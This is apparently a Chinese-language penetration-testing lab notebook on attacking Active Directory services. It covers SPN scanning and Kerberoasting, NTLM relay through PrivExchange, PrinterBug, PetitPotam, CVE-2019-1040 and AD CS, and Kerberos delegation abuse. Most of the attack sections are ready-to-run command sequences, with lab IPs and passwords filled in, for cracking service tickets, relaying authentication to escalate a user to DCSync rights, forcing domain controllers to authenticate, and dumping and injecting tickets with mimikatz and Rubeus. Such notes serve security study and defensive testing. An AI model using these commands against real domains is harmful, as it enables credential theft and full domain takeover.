域渗透:针对常见服务

围绕域环境常见服务的枚举、认证和攻击面整理。

一、SPN

SPN 基本概念:
  • SPN 是服务主体名称,用于在域环境中唯一标识一个服务实例
  • 格式通常为: 服务类型/主机名
  • 比如: HTTP/webserver.domain.com
SPN 的重要性:
  • 它是 Kerberos 认证的关键组成部分
  • 当用户访问服务时,会通过 SPN 来获取该服务的 Kerberos ticket
  • 服务账户的 SPN 信息存储在 Active Directory 中
SPN 扫描的目的:
  • 发现域内注册的服务
  • 识别潜在的服务账户
  • 为后续的 Kerberoasting 攻击做准备
搭建环境
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
powershell.exe
# 先导入AD模块
Import-Module ActiveDirectory
然后创建服务账户
New-ADUser -Name "SQLService" -SamAccountName "SQLService" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 在域控制器上执行
# 为SQLService注册一个SPN
setspn -A MSSQLSvc/dc.test.local:1433 SQLService

# 验证是否注册成功
setspn -L SQLService
作为非域成员的利用方式:
1
2
3
4
5
# 使用已获取的凭据
GetUserSPNs.py domain.com/compromised_user:password -dc-ip <DC_IP> -request

# 如果获得了hash,也可以通过hash进行认证
GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip <DC_IP> -request

这里是验证成功才会返回这个

错误会返回这个

具体利用步骤:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 步骤1: 枚举SPN
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP>

# 步骤2: 请求票据(-request参数)
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request

# 步骤3: 保存票据到文件
GetUserSPNs.py domain.com/user:password -dc-ip <DC_IP> -request -output tickets.txt

# 步骤4: 使用hashcat破解票据
hashcat -m 13100 tickets.txt wordlist.txt

不同场景的利用策略:
  • 已有域用户凭据:直接使用GetUserSPNs.py
  • 只有NTLM hash:使用-hashes参数
  • 有票据:可以使用-k参数进行基于票据的认证
注意事项:
  • 扫描活动可能被检测
  • 大量ticket请求可能触发告警
  • 建议针对性扫描,避免大范围探测
实际案例:
1
2
3
4
5
6
7
8
# 例如发现SQL服务的SPN
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100
# 输出可能显示:
# MSSQLSvc/DBSERVER.domain.com:1433

# 获取该服务的票据
GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai
/usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$

二、域服务账号破解

https://github.com/nidem/kerberoast

跟上面介绍的方法差不多 区别在于场景 第一种方法 需要获得域成员的账号和密码才能用 第二种方法 需要获取域成员主机的权限 就能在这台主机上使用

1
setspn -T PENTEST.com -Q */*

图方便我就在域控上直接运行了 如果域成员账户也有这个sqlserver的访问权限 那么也会出来的

1
2
从Mimikatz的RAM中提取获得的门票
kerberos::list /export

1
tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

不让用了?下面这个也可以用转hashcat就行

1
2
python /usr/share/john/kirbi2john.py ticket.kirbi > hash.txt
hashcat -m 13100 hash.txt word.txt

三、NTLM relay

(1) Privexchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://github.com/dirkjanm/privexchange/

https://github.com/ridter/exchange2domain

Exchange服务器 —-认证请求—-> 我们的中继服务器 —-修改后转发—-> 域控制器 (高权限) (修改认证内容) (LDAP服务)

实际上我们设置了HTLM中继认证 Exchange服务器的认证请求经过我们设置的中继认证 然后我们改点东西 让他修改我们的权限 让我们有DCSync权限

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
必需条件:
● Exchange服务器存在且可访问
● 一个域用户账号(必须有邮箱)
  ○ 需要用户名和密码
  ○ 或者已经获得了某个域用户的权限
可选条件:
● 如果在域内机器上操作,可以利用当前登录用户的凭据
● 如果能获得中间人攻击位置,可以不需要域账号凭据

# 需要的工具
- ntlmrelayx.py (impacket工具包)
- privexchange.py (PrivExchange工具)

# 需要的信息
- Exchange服务器IP/主机名
- 域控制器IP
- 域名
- 有邮箱的域用户凭据

两种场景

1
2
3
直接使用已知的域用户凭据
用户必须有邮箱
从外部或内部都可以发起攻击
1
2
3
需要在域内网络中
需要能进行中间人攻击
利用其他用户的认证请求
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
1. 设置阶段
   用户(带邮箱) -----> Exchange
   "请帮我设置通知,发送到 http://攻击者IP"

2. Exchange工作阶段
   Exchange ----需要认证----> 攻击者IP
   "我是Exchange服务器,我要发送通知了"

3. 中间人操作
   Exchange认证 ----中继----> 域控制器LDAP
   "我们拿着Exchange的认证去域控那边修改权限"
设置NTLM中继:

在impacket里面存有这个包

1
2
ntlmrelayx.py -t ldap://dc-ip --escalate-user 攻击者用户
ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1
  • 这步是设置"中间人"
  • 准备接收Exchange的认证并转发到DC
触发Exchange认证:

https://github.com/dirkjanm/privexchange/

1
2
privexchange.py -ah 攻击者IP exchange服务器 -u 域用户 -d 域名
privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local
  • 利用PushSubscription功能
  • 让Exchange服务器向我们的中继服务器发起认证

(2) Printerbug(HTLM认证)

协议设计问题,不是漏洞

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

环境搭建:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
环境要求:
- Windows Server开启打印服务
- Spooler服务运行
- 域用户权限(不需要特殊权限) 任意用户都行

检查步骤:
# 查看打印服务是否运行
Get-Service Spooler

# 如果没开启,启动服务
Start-Service Spooler
Set-Service Spooler -StartupType Automatic

一般都是默认开启的
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 基本用法
python printerbug.py 域名/用户名:密码@目标IP 攻击者IP

# 具体例子
python printerbug.py test.local/TestUser:[email protected] 192.168.0.103
python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser

test.local    -> 域名
TestUser      -> 用户名
Password123   -> 密码
192.168.0.111 -> 目标IP(DC)
192.168.0.103 -> 攻击者IP

(3) PetitPotam(HTLM认证)

存在漏洞 CVE-2021-36942

大概范围在 Windows Server 2008到2019

https://github.com/topotam/PetitPotam

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
环境要求:
- Windows Server
- MS-EFSRPC服务可用
- 域用户权限(不需要特殊权限)

检查步骤:
# 检查RPC服务和EFS服务是否运行
Get-Service RpcSs
Get-Service EFS

攻击机需要:
- impacket工具包
- ntlmrelayx.py
- 能访问目标的网络环境

目标机器:
- LDAP服务开启(DC默认开启)
- 证书服务(如果要中继到AD CS)
1
2
3
4
5
6
7
8
命令:
# 启动中继
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 用户名 --no-smb-server
python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server

# 触发认证
python PetitPotam.py -d domain -u user -p pass 攻击机IP DC-IP
python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110

(4) Relay LDAP(HTLM中继)

https://www.freebuf.com/articles/network/368583.html

Relay LDAP(NTLM中继)主要利用CVE-2019-1040漏洞绕过LDAP签名

第二个和第三个用于发起认证 这个利用漏洞来创建中继

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
- 绕过LDAP签名
- 允许中继到LDAP/LDAPS
- 即使启用了签名保护也可以

漏洞影响版本
Windwos 7 SP 1 至 Windows 10 1903;
Windows Server 2008 至 Windows Server 2019

# 启动中继器
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic

# 或者完整参数 带漏洞的
python ntlmrelayx.py -t ldap://DC-IP --escalate-user 目标用户 --remove-mic --no-smb-server --no-http-server

--remove-mic:利用CVE-2019-1040绕过签名
--escalate-user:指定要提权的用户
-t ldap://DC-IP:指定目标DC

(5) Relay AD CS/PKI(HTLM中继)

https://3nd.xyz/post/0-da-petitpotam-ad-cs-relay-attack/

需要目标 配置Active Directory证书服务

访问地址:

环境搭建失败 记录一下方法吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 基本语法
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs

# 更多参数
python ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp --adcs --template VulnTemplate

python ntlmrelayx.py -t http://172.16.79.8/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t http://CA-SERVER:证书服务器Web地址
--adcs:指定这是ADCS攻击
--template:指定证书模板(可选)
1
2
3
# https://github.com/topotam/PetitPotam

PetitPotam.exe 172.16.79.1 172.16.79.2

Darwin 上运行的 Ntlmrelay 将生成 CSR(Certificate Signing Request, 证书签名请求)并尝试滥用存在漏洞的 PKI 模板来生成证书:

如果成功ntlmrelayx 将会接收到:

[+] Base64 certificate of user 2012DC$: MI… (一大串Base64编码的证书数据)

接下来是利用获得的东西

1
Rubeus.exe asktgt /outfile:kirbi /user:2012dc$ /ptt /certificate:MIIRXQIBAzCCEScGCSqGSIb3DQEHAaCCERgEghEUMI...

可以拿到TGT 然后利用DCSync 获取 DA NTLM Hash就行了

自动化工具

RelayX 将几个比较好用的relay集成到了一起,提高了测试效率:

1
python relayx.py live.local/002:'LIVE@2021'@172.16.79.2 -r 172.16.79.1 -dc-ip 172.16.79.8 -m pki -t efs --template=DomainController

ADCSPwn实际上是将之前的攻击自动化 https://github.com/bats3c/ADCSPwn/releases/tag/ADCSPwn

ADCSPwn 由 C# 编写,编译后方便通过 execute-assembly 内存加载运行,通过 PetitPotam NTLM Relay 到 AD CS 申请机器账户证书。此外,ADCSPwn 需要被触发进行身份认证的远程机器上开启 WebClient 服务(默认未安装,手动开启,可以参考 How to install/enable the WebClient (WebDAV) Service on Windows Server 2012 to open/edit SharePoint files

ADCSPwn 在申请CA证书时采用了轮询的方式遍历所有证书模板尝试申请,普通域成员机器使用证书模版 Machine,DC 使用证书模版 DomainController,ADCSPwn 判断证书模版是否可用时匹配响应包中的“Certificate Request Denied”,而在简体中文换进下应该是“证书申请被拒绝”,可以修改 ADCSPwn/RelayServer.cs 382 行 if (responseFromServer.Contains(“Certificate Request Denied”)) 中的 “Certificate Request Denied” 为 “locDenied”(证书申请被拒绝响应页面中的 HTML 元素 ID )来适配多语言环境。此问题已在 https://github.com/bats3c/ADCSPwn/pull/5 中更新解决。

1
ADCSPwn.exe --adcs s2008.live.local --remote 2012dc.live.local --port 9001

获取2012dc$ 机器账号证书后通过 Rubeus 进行后续攻击即可

内网445端口

https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0

例如,我们可能希望在重定向器模式下执行 PortBender,以便从受感染的 Windows 系统执行 SMB 中继攻击。为了实现这一点,我们可以指示 PortBender 将所有到 445/TCP 的流量重定向到运行攻击者 SMB 服务的备用端口 8445/TCP。在此示例中,我们运行命令“PortBender redirect 445 8445”来实现此目的

1
2
3
4
#cs直接运行就行
PortBender redirect 445 8445

因为他那只有cna插件 没有exe 当然自己打包或许也可以

(6)扩展

防病毒发起认证

1
2
cd "\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0"
.\MpCmdRun.exe -Scan -ScanType 3 -File \\ip\file.exe

四、Kerberos委派攻击

参考:https://xz.aliyun.com/t/7217

前置知识

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动

委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)不过不是本文的重点,下面我们来分别介绍一下非约束委派和约束委派这两种方法的利用

发现域中委派的用户和计算机

原理说明
  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议(全称:LightweightDirectory Access Protocol)然后通过userAccountControl属性筛选出符合的用户或计算机,我们可以通过ADSI(全称:ActiveDirectory Service Interfaces Editor)来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

搭建环境(忽略)

这里可以忽略 这里主要是配置两种账号 非约束委派账号 需要一个域内主机 在域内主机上配置

如果有域内一台主机 配置完非约束委派账号之后按照下面的步骤配置IIS 用于测试 我这里没有测试 直接用机器账户也可以

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
第一步:确认主机名
- 在目标机器上运行 hostname 确认主机名
- 确保主机名与SPN中设置的相同

第二步:安装IIS
- 在目标机器上安装IIS服务
Install-WindowsFeature -Name Web-Server -IncludeManagementTools

第三步:配置服务账号
- 打开IIS管理器 (inetmgr)
- 找到DefaultAppPool或新建应用程序池
- 配置身份为域账号(test\svc_iis)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
第一个iis服务账号
# CN是Common Name的缩写,指在Active Directory中的位置
# 比如 CN=Users,DC=domain,DC=com 表示在域的Users容器下

New-ADUser -Name "svc_iis" `
    -SamAccountName "svc_iis" `
    -UserPrincipalName "[email protected]" `
    -Path "CN=Users,DC=test,DC=local" `
    -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
    -Enabled $true `
    -PasswordNeverExpires $true `
    -ServicePrincipalNames "HTTP/webserver.test.local","HTTP/webserver" `
    -Description "IIS Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_iis"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_iis
setspn -A HTTP/webserver svc_iis

# 验证用户创建
Get-ADUser svc_iis -Properties *

# 验证SPN设置
setspn -L svc_iis

========================================================================================

第二个SharePoint服务账号
New-ADUser `
    -Name "svc_sharepoint" `
    -SamAccountName "svc_sharepoint" `
    -UserPrincipalName "[email protected]" `
    -Path "CN=Users,DC=test,DC=local" `
    -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
    -Enabled $true `
    -PasswordNeverExpires $true `
    -ServicePrincipalNames "HTTP/sharepoint.test.local" `
    -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

======================================================================================
IIS
# 查看当前服务账号
Get-ADUser svc_iis -Properties *

# 设置非约束委派
Set-ADUser -Identity "svc_iis" -TrustedForDelegation $true

# 验证设置
Get-ADUser svc_iis -Properties userAccountControl
# userAccountControl属性中应该包含TRUSTED_FOR_DELEGATION(524288)
======================================================================================
sharepoint
# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{'msDS-AllowedToDelegateTo'=@('CIFS/test.local')}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

======================================================================================
# 查找所有设置了非约束委派的账号
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl | select name,objectClass,userAccountControl
Get-ADObject -Filter {userAccountControl -band 524288} -Properties userAccountControl,samaccountname,serviceprincipalname | select samaccountname,serviceprincipalname
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name,TrustedForDelegation

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

非约束委派的查找

ldapsearch

kali上自带,适合在域外查询

这个参数过多就不一一列举了,需要查阅的ldapsearch -h即可

查找域中配置非约束委派的用户:

1
ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

普通域成员账号就能查到

查找域中配置非约束委派的主机:

1
ldapsearch -x -H ldap://192.168.0.110:389 -D "CN=TestUser,CN=Users,DC=test,DC=local" -w "Password123\!" -b "DC=test,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

图方便值可以直接将805306368改成805306369

:更多LDAP的过滤语法请参考微软的手册:地址

ADFind

使用参数

1
AdFind [switches] [-b basedn] [-f filter] [attr list]

参数说明:

  • -b:指定要查询的根节点
  • -f:LDAP过滤条件
  • attr list:需要显示的属性

https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools

1.查找域中配置非约束委派的用户(在域内的方法):

1
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

图省事我在域控上执行了

2.查找域中配置非约束委派的用户(在域外的方法):

1
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

我参考的这个博客的博主并没有测试这个 在刚刚那个github上是有具体方法的

3.查找域中配置非约束委派的主机:

1
2
3
4
#域内
AdFind.exe -b "DC=test,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#域外
AdFind.exe -h 192.168.0.110 -u test.local\TestUser -up "Password123!" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查找域中配置约束委派用户

1
2
Import-Module .\PowerView.ps1
Get-DomainUser –TrustedToAuth -domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

我没有找到账密验证的参数

https://blog.csdn.net/qq_41874930/article/details/109616189

https://www.cnblogs.com/-zhong/p/12374568.html

https://www.freebuf.com/sectool/173366.html

这三个里面有模块介绍

查找域中配置约束委派的主机:

1
2
3
Get-DomainComputer -TrustedToAuth -Domain test.local -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
Get-DomainComputer -Unconstrained
Get-DomainComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

大概信息如下

1
2
3
4
5
6
7
8
distinguishedname : CN=WINDOWSSERVERAD,OU=Domain Controllers,DC=test,DC=local
# 这是域控制器的路径

useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
# 这表明这台机器配置了非约束委派权限

dnshostname : WindowsServerAD.test.local
# 这是机器的DNS名称

非约束委派的利用

概述

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

非约束委派的请求过程(图来自微软手册):

上图的Kerberos请求描述分为如下步骤:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应,service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

TGT1(forwardable TGT)用于访问Service1TGT2(forwarded TGT)用于访问Service2

操作环境:

  • 域:test.local
  • 域控:windows server 2022,主机名:WindowsServerAD,IP:192.168.0.110,用户:administrator
  • 域内主机:windows 10,主机名:win10,IP:192.168.0.104,用户:jerry

上面提到了一般非约束委派为服务账号或者主机账号 服务账户需要搭建环境然后创建账号有点麻烦 这里直接用主机账号比较方便

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
1. 在域控上配置(需要域管理员权限):
PowerShell命令:
# 配置WIN10机器账号为非约束委派
Get-ADComputer win10 | Set-ADComputer -TrustedForDelegation $true

2. 验证配置:
# 检查机器的委派设置
Get-ADComputer WIN10 -Properties userAccountControl

# 或使用PowerView查找所有非约束委派的机器
Get-DomainComputer -Unconstrained

# 或使用LDAP查询
Get-DomainObject -LDAPFilter "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

配置好了 开始准备让域控管理员触发

PS:我现在已经升级为了这台win10的管理员 也就是本地我可以搭建很多东西 比如IIS、MYSQL等等 然后目前使用的账号也为非约束委派权限 此时随意想搭建什么服务都可以 IIS、MYSQL 然后再等域控管理员访问也可以

win10配置WINRM服务

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
# 在WIN10上执行以下命令:

# 1. 快速配置WinRM(以管理员权限运行)
winrm quickconfig -q

# 2. 允许HTTP传输
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

# 3. 配置允许的验证方式
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Kerberos="true"}

# 4. 配置防火墙规则(如果还没开启)
Enable-PSRemoting -Force

# 5. 确认WinRM服务已启动
Get-Service WinRM

# 6. 检查WinRM监听器
winrm enumerate listener
1
2
3
4
5
6
7
# 在域控上执行
# 方法1:Enter-PSSession
Enter-PSSession -ComputerName WIN10

# 方法2:WinRM
winrm quickconfig # 确保WinRM服务开启
Test-WSMan -ComputerName WIN10 # 测试连接

这个时候域管理员的TGT已经缓存在win10了,我们用mimikatz即可dump出来

1
2
privilege::debug
sekurlsa::tickets /export

然后通过ptt将TGT注入到当前会话中

1
2
kerberos::ptt [0;1622d8][email protected]
dir \\WindowsServerAD.test.local\c$

分割线隔开的方法我这里运行不了 一直出问题 还不知道出在哪 报错系统无法联系域控制器来为身份验证请求提供服务。请稍后再试。 所以mimikatz我应该是无法使用了

Rubeus

这个我使用没问题

项目地址:https://github.com/GhostPack/Rubeus/releases/tag/1.6.4

需要自行编译 电脑上要安装vs 点击sln文件 进去之后生成解决方案就行了

我这里编译好了 下面的命令是比较流畅的步骤

1
2
3
4
# 将获得的票据导出到ticket.txt
Rubeus.exe monitor /interval:1 /targetuser:administrator /nowrap >> ticket.txt
# 如果能获取到 txt文本里面则会有base64编码的内容 直接导入票据
Rubeus.exe ptt /ticket:[base64编码]

下面解释一下为什么不用其他命令 可以参考 不用测试

1
2
3
4
# 说是直接导入票据 但是并没有用
Rubeus.exe monitor /interval:1 /targetuser:administrator /ptt
Rubeus.exe monitor /interval:1 /targetuser:administrator
# 使用过程中 上面的两个命令没啥区别 /ptt貌似不起作用

实际上已经拿到base64编码的票据了 但是复制很上头 要删空格和回车 太麻烦了 所以选择导入文件

非常好复制 这就是为什么上面成功的命令要导入文件然后再复制

1
2
3
4
5
6
# 下一步就是将base64写入admin.kirbi
# 使用mimikatz导入
mimikatz.exe
kerberos::purge  # 清除现有票据
kerberos::ptt admin.kirbi  # 导入新票据
# 很可惜这里我允许导入的操作直接报错 无法导入

所以刚刚开始给的成功的流程应该是最优解了 也可能是我的windows server 2022版本可能过高 也可能是mimikatz版本太低 无论咋样 至少有成功的方法就行

1
Enter-PSSession -ComputerName  WindowsServerAD

还是用WinRM服务 反连了域控

非约束委派+Spooler打印机服务

这个我看完了 有点像HTLM relay但不完全是 至少都利用了spooler打印机发起认证

如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_enigma0x3harmj0yDerbyCon 2018提出的

演讲PPT:地址

利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。

请求过程如下:

图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

Print Spooler服务默认是自动运行的

这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限

我的环境还是之前那个没有变

tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample

但是我试了几次无法编译 貌似是powershell有一点小问题

暂时无法解决 但我找到了一个编译好的项目

https://github.com/jtmpu/PrecompiledBinaries

在虚拟机里使用

1
2
3
4
5
# 指定域控和本机就行 无论什么只要dns解析到就行
SpoolSample.exe WindowsServerAD WIN10
SpoolSample.exe WindowsServerAD.test.local WIN10.test.local
# 开始监听票据 上面是监听用户 这里要监听域控
Rubeus.exe monitor /interval:1 /filteruser:WindowsServerAD$

成功拿到了 这里我就不重新连域控了 因为和上面的一模一样 并且mimikatz我也无法使用 就这样了

约束委派的利用

概述

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

S4U2SelfS4U2proxy的请求过程(图来自微软手册):

:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

上述请求的文字描述:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。

2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。
注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了

5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。

6. service1以用户的名义向KDC请求用户访问service2的ST2

7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

9. service2响应步骤8的请求。

10. service1响应用户对步骤5中的请求。
操作

操作环境:

  • 域:test.local
  • 域控:windows server 2022,主机名:WindowsServerAD,IP:192.168.0.110,用户:administrator
  • 域内主机:windows 10,主机名:win10,IP:192.168.0.104,用户:jerry

创建服务账号:

这个其实在上面已经写了 但是利用有点麻烦就忽略了 这里重新引用一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
第二个SharePoint服务账号
New-ADUser `
    -Name "svc_sharepoint" `
    -SamAccountName "svc_sharepoint" `
    -UserPrincipalName "[email protected]" `
    -Path "CN=Users,DC=test,DC=local" `
    -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) `
    -Enabled $true `
    -PasswordNeverExpires $true `
    -ServicePrincipalNames "HTTP/sharepoint.test.local" `
    -Description "SharePoint Service Account"

# 给账号添加必要的组成员身份
Add-ADGroupMember -Identity "Server Operators" -Members "svc_sharepoint"

# 设置SPN
setspn -A HTTP/webserver.domain.com svc_sharepoint
setspn -A HTTP/webserver svc_sharepoint

# 验证用户创建
Get-ADUser svc_sharepoint -Properties *

# 验证SPN设置
setspn -L svc_sharepoint

# 假设我们允许它委派给CIFS服务(作为示例)
Set-ADAccountControl -Identity "svc_sharepoint" -TrustedToAuthForDelegation $true
Set-ADUser -Identity "svc_sharepoint" -Add @{
    'msDS-AllowedToDelegateTo'=@(
        'CIFS/WindowsServerAD.test.local',
        'CIFS/WindowsServerAD'
    )
}

# 验证设置
Get-ADUser svc_sharepoint -Properties "msDS-AllowedToDelegateTo"

# 查找所有设置了约束委派的账号
Get-ADObject -Filter {msDS-AllowedToDelegateTo -like "*"} -Properties msDS-AllowedToDelegateTo

账号 svc_sharepoint 密码 Password123!

